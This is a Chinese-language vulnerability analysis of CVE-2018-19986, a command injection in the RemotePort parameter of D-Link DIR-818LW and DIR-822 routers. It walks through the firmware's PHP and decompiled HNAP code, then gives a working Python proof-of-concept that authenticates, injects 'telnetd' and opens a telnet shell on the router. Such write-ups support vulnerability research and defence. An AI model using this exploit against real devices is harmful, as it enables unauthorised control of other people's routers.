# （CVE-2018-19986）D-Link DIR-818LW&828命令注入漏洞

## 一、漏洞简介

D-Link DIR-822和D-Link DIR-818LW都是中国台湾友讯（D-Link）公司的一款无线路由器。 D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06中的‘RemotePort’参数存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中，网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。

## 二、漏洞影响

D-Link DIR-818LW Rev.A 2.05.B03

DIR-822 B1 202KRb06

## 三、复现过程

### 漏洞分析

#### 原理

D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06中，通过HNAP1协议访问`SetRouterSettings`时，`RemotePort`参数存在操作系统命令注入漏洞。在`SetRouterSettings.php`源码中，`RemotPort`参数没有经过任何检查，直接存放于`$path_inf_wan1."/web"`，并且在`iptwan.php`中的IPTWAN_build_command函数中使用`$path_inf_wan1."/web"`变量作为`iptables`的参数，同样未做检查。构造`SetRouterSettings.xml`，使`RemotePort`中包含如`telnetd`的shell命令，利用该漏洞执行非法操作系统命令。

./etc/templates/hnap/SetRouterSettings.php：

```
$path_inf_wan1 = XNODE_getpathbytarget("", "inf", "uid", $WAN1, 0);
#$WAN1  = "WAN-1";
$nodebase="/runtime/hnap/SetRouterSettings/";
……
$remotePort = query($nodebase."RemotePort");
……
set($path_inf_wan1."/web", $remotePort);
```

./etc/services/IPTABLES/iptwan.php

```
function IPTWAN_build_command($name){
  $path = XNODE_getpathbytarget("", "inf", "uid", $name, 0);
  ……
  $web = query($path."/web");
  ……
  #web作为iptables的参数写入$_GLOBALS["START"]
  if (query($path."/inbfilter") != "")
      $inbfn = cut(query($path."/inbfilter"), 1, "-");
      $hostip = query($path."/weballow/hostv4ip");
      if ($hostip != "")
      {
          if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
          fwrite("a",$_GLOBALS["START"], $iptcmd." -s ".$hostip." -p tcp --dport ".$web." -j ACCEPT\n");
      }
      else
      {
          if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
          fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." -j ACCEPT\n");
      }
  ……
}
```

PS：服务器的web目录为/htdocs/web/

#### 关于HNAP

> The Home Network Administration Protocol (HNAP) is an HTTP-Simple Object Access Protocol (SOAP)-based protocol that can be implemented inside of network devices to allow advanced programmatic configuration and management by remote entities.

HNAP是由Pure Networks开发的协议，后续由Cisco管理与开发。HNAP用于网络设备之间的交互，该协议基于SOAP和HTTP，以post的方式发包。

使用HNAP：在HTTP header中加入SOAPAction，该字段中会指明请求的操作，如Login，并向http://[ip]/HNAP1发送数据，数据形式为xml。

举个栗子，下图是登录时的抓包：

192.168.0.1向路由器192.168.0.2发送数据，在SOAPAction中指定了请求内容。

![image](resource/%EF%BC%88CVE-2018-19986%EF%BC%89D-Link%20DIR-818LW&828%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/media/17-20201014111329931.png)

路由器收到之后以LoginResponse回复发送方，返回了一些登录需要的关键数据.

![image](resource/%EF%BC%88CVE-2018-19986%EF%BC%89D-Link%20DIR-818LW&828%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/media/18-20201014111329932.png)

发送方收到之后，login的action由request变成了login，即发送用户名密码的过程，密码是由用户私钥处理过的数据。

![image](resource/%EF%BC%88CVE-2018-19986%EF%BC%89D-Link%20DIR-818LW&828%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/media/19-20201014111329936.png)

路由器验证登录的用户名和密码，返回登录成功信息。

![image](resource/%EF%BC%88CVE-2018-19986%EF%BC%89D-Link%20DIR-818LW&828%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/media/20.png)

#### 理解HNAP

为了再深入理解HNAP，查看/htdocs/cgibin二进制文件，简化流程如下：

```
hnap_main(){
  memset(acStack1708,0,0x100);
  getenv("HTTP_AUTHORIZATION");
  soapaction = getenv("HTTP_SOAPACTION");
  request_method = getenv("REQUEST_METHOD");
  hnap_auth = getenv("HTTP_HNAP_AUTH");
  cookie = getenv("HTTP_COOKIE");
  referer = getenv("HTTP_REFERER");
  memset(php_path,0,0x100);
  //当未指定soapaction时，默认请求为GetDeviceSettings
  if (soapaction == (char *)0x0) {
    soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings";
    ……
    }
   else{
        ……
        __s1 = strstr(soapaction,"http://purenetworks.com/HNAP1/Login");
        if (__s1 != (char *)0x0) {
            ……
            parse_param_value(uVar2,"Action",action);
            parse_param_value(uVar2,"Username",username);
            parse_param_value(uVar2,"LoginPassword",pwd);
            parse_param_value(uVar2,"Captcha",captcha);
            iVar1 = strcmp(action,"request");
            //当action为request时
            if (iVar1 == 0) {
                //产生一个长度为0X32的随机字符串
                //例：LVy04tz2fCRlZIu8vefr1OCKu9qTOQaktWkwOhy3rNnQfhWaKB
                get_random_string(random_string,0x32);
                //cookie_value为前十个字符
                //例：LVy04tz2fC
                strncpy(cookie_value,random_string,10);
                //challenge为接下来20个字符
                //例：RlZIu8vefr1OCKu9qTOQ
                strncpy(random_challenge,random_string_10,0x14);
                //public key为接下来20个字符
                //例：aktWkwOhy3rNnQfhWaKB
                strncpy(public_key,random_string_30,0x14);
                sprintf(public_key_and_0,"%s%s",public_key,0);
                strcpy(COOKIE,cookie_value);
                strcpy(CHALLENGE,random_challenge);
                //HMAC_MD5就是常见的HMAC，hash算法为MD5。这里函数的输出放在第三个参数中
                //例：hmac_1=E188583458DE427B6A71C2DD04CB632C
                HMAC_MD5(random_challenge,public_key_and_0,hmac_1);
                ……
                //set challenge,privatekey,captcha
                //返回soap xml
            }//end of action=request
            else{
                if(strcmp(action,"login")==0 && cookie !=0)
                {
                    find_uid = strstr(cookie,"uid=");
                    if (find_uid == (char *)0x0) goto LAB_004137fc;
                    //获取cookie的值
                    strncpy(cookie_value,find_uid + 4,10);
                    //检查cookie
                    __fd=get_cgdata_by_uid(acStack1904,cookie_value);
                    if (__fd < 0) {
                        iVar1 = -2;
                        goto LAB_004137fc;
                    }
                    ……
                    //由HMAC计算口令，以hmac_1作为key,对challenge进行hmac
                    HMAC_MD5(CHALLENGE,hmac_1,PWD);
                    ……
                    //将计算的口令与发送方中的口令比较
                    __fd = strcmp((char *)PWD,pwd);
                    if (__fd == 0) {
                        login_response_xml("success");
                        ……
                    }
                }//end of action=login
            }
          } //end of Login
          //不是login的情况
          if (hnap_auth != (char *)0x0){
                ……
                //hnap_auth用空格分为两部分
                auth_1 = strtok(hnap_auth," ");
                auth_2 = strtok((char *)0x0," ");
                //将auth_2和soapaction连接起来
                strcpy(auth_2_soapaction,auth_2);
                strcat(auth_2_soapaction,soapaction);
                ……
                HMAC_MD5(auth_2_soapaction,hmac_1,HMAC_AUTH);
                //比较auth_1和计算后的值
                __fd = strcmp(auth_1,HMAC_AUTH);
                if (__fd == 0) {
                  ……
                  //如果不是Logout，就跳转到0x413330
                  __format = strstr(soapaction,"http://purenetworks.com/HNAP1/Logout");
                  if (__format == (char *)0x0) goto LAB_00413330;
                  ……
          }
     }//end of soapaction!=0
    LAB_00413330:
       //在soapaction中查找最后一个“/”之后的内容为operation
       __format = strrchr(soapaction,0x2f);
       operation = __format + 1;
       if (__format != (char *)0x0) {
         sVar3 = strlen(operation);
         if (operation[sVar3 - 1] == '\"') {
           operation[sVar3 - 1] = 0;
         }
         //hnap相关的php都在/etc/templates/hnap下
         snprintf(php_path,0x100,"%s/%s.php","/etc/templates/hnap/",operation);
         //判断与请求相关的php是否存在，0为存在
         iVar1 = access(php_path,0);
         if (iVar1 == 0) {
            ……
            snprintf(acStack1708,0x100,"%s%s.php\nShellPath=%s%s.sh\nPrivateKey=%s\n",
                 "/etc/templates/hnap/",operation,&var_run,operation,&DAT_00438344);
            sobj_add_string(iVar4,acStack1708);
             ……
            uVar2 = sobj_get_string();
            //该函数会建立一个socket并把上面的acStack1708字符发送给socket；这个socket是与本地的xmldb_sock建立的，理解为发送给本地以执行对应的php
            xmldbc_ephp(0,0,uVar2,stdout);
            ……
            snprintf(acStack1708,0x100,"%s",operation);
            iVar4 = FUN_004125c8(acStack1708,"/etc/templates/hnap//.shell_action");
            //这里无论如何都会为format赋值，内容是执行一个sh脚本的命令
            if (iVar4 == 0) {
              __format = "sh %s%s.sh > /dev/console";
            }
            else {
              __format = "sh %s%s.sh > /dev/console &";
            }
            //执行该脚本
            //var_run变量对应的字符是"/var/run/"
            snprintf(acStack1708,0x100,__format,&var_run,operation);
            system(acStack1708);
            ……
}
```

#### 漏洞执行顺序

在上面的hnap_main代码中，代入本漏洞SetRouterSettings的情况，最后会执行`sh /var/run/SetRouterSettings.sh`，这个脚本是动态生成的，在模拟固件并执行poc成功之后查看内容（还没找到具体生成sh脚本的代码）

```
#!/bin/sh
echo "[$0]-->RouterSettings Change" > /dev/console
event DBSAVE > /dev/console
service HTTP.WAN-1 start > /dev/console #here！！！
xmldbc -s /runtime/hnap/dev_status '' > /dev/console
```

HTTP.WAN-1是一种服务，对应于/etc/services/HTTP.WAN-1.php，该服务会开启IPT.WAN-1服务

```
<?
include "/etc/services/HTTP/httpsvcs.php";
fwrite("w",$START,"#!/bin/sh\n");
fwrite("w", $STOP,"#!/bin/sh\n");
fwrite("a",$START,"service IPT.WAN-1 restart\n");#here!!!!
fwrite("a",$START,"service STUNNEL restart\n");
httpsetup("WAN-1");
?>
```

/etc/services/IPT.WAN-1.php会执行之前所说的iptables命令

```
<?
include "/htdocs/phplib/trace.php";
include "/etc/services/IPTABLES/iptwan.php";
IPTWAN_build_command("WAN-1");
?>
```

### 漏洞复现

```
import requests
import telnetlib
from hashlib import md5
import time
import math

trans_5C = "".join(chr(x ^ 0x5c) for x in xrange(256))
trans_36 = "".join(chr(x ^ 0x36) for x in xrange(256))
blocksize = md5().block_size

def hmac_md5(key, msg):
    if len(key) > blocksize:
        key = md5(key).digest()
    key += chr(0) * (blocksize - len(key))
    o_key_pad = key.translate(trans_5C)
    i_key_pad = key.translate(trans_36)
    return md5(o_key_pad + md5(i_key_pad + msg).digest())

def HNAP_AUTH(SOAPAction, privateKey):
    b = math.floor(int(time.time())) % 2000000000
    b = str(b)[:-2]
    h = hmac_md5(privateKey, b + '"http://purenetworks.com/HNAP1/' + SOAPAction + '"').hexdigest().upper()
    return h + " " + b

#输入IP和admin口令，通过读hnap_main的二进制，理解初始状态admin的口令为空（public_key_0：0代表空值）
IP = '192.168.0.1'
adminPw = ''

command = "telnetd" # command injection id

headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/Login"'
headers["Origin"] = "http://" + IP
headers["Referer"] = "http://" + IP + "/info/Login.html"
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["X-Requested-With"] = "XMLHttpRequest"

#构造一个action为request的请求发送给Login
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
data = r.text

#通过获取的publickey计算privatekey，根据privatekey计算口令的hmac(在上文中对应的是hmac_1)
challenge = str(data[data.find("<Challenge>") + 11: data.find("</Challenge>")])
cookie = data[data.find("<Cookie>") + 8: data.find("</Cookie>")]
publicKey = str(data[data.find("<PublicKey>") + 11: data.find("</PublicKey>")])
privateKey = hmac_md5(publicKey + adminPw, challenge).hexdigest().upper()
password = hmac_md5(privateKey, challenge).hexdigest().upper()

#构造action为login的请求，发送用户名和口令
headers["HNAP_AUTH"] = HNAP_AUTH("Login", privateKey)
headers["Cookie"] = "uid=" + cookie
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>login</Action><Username>Admin</Username><LoginPassword>'+password+'</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)

#登录成功后访问SetRouterSettings设置路由器的一些配置，其中RemotePort被设置为command
headers["Origin"] = "http://" + IP
headers["HNAP_AUTH"] = HNAP_AUTH("SetRouterSettings", privateKey)
headers["SOAPaction"] = '"http://purenetworks.com/HNAP1/SetRouterSettings"'
headers["Accept"] = "text/xml"

payload = open('{}.xml'.format("CVE-2018-19986")).read().replace('ip', IP).replace('COMMAND', command)
print '[*] command injection'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print(r.text)

print '[*] waiting 30 sec...'
time.sleep(30)

#利用成功之后，服务端已经开启了Telnet服务，攻击者可直接连服务器的Telnet
print '[*] enjoy your shell'
telnetlib.Telnet(IP).interact()
```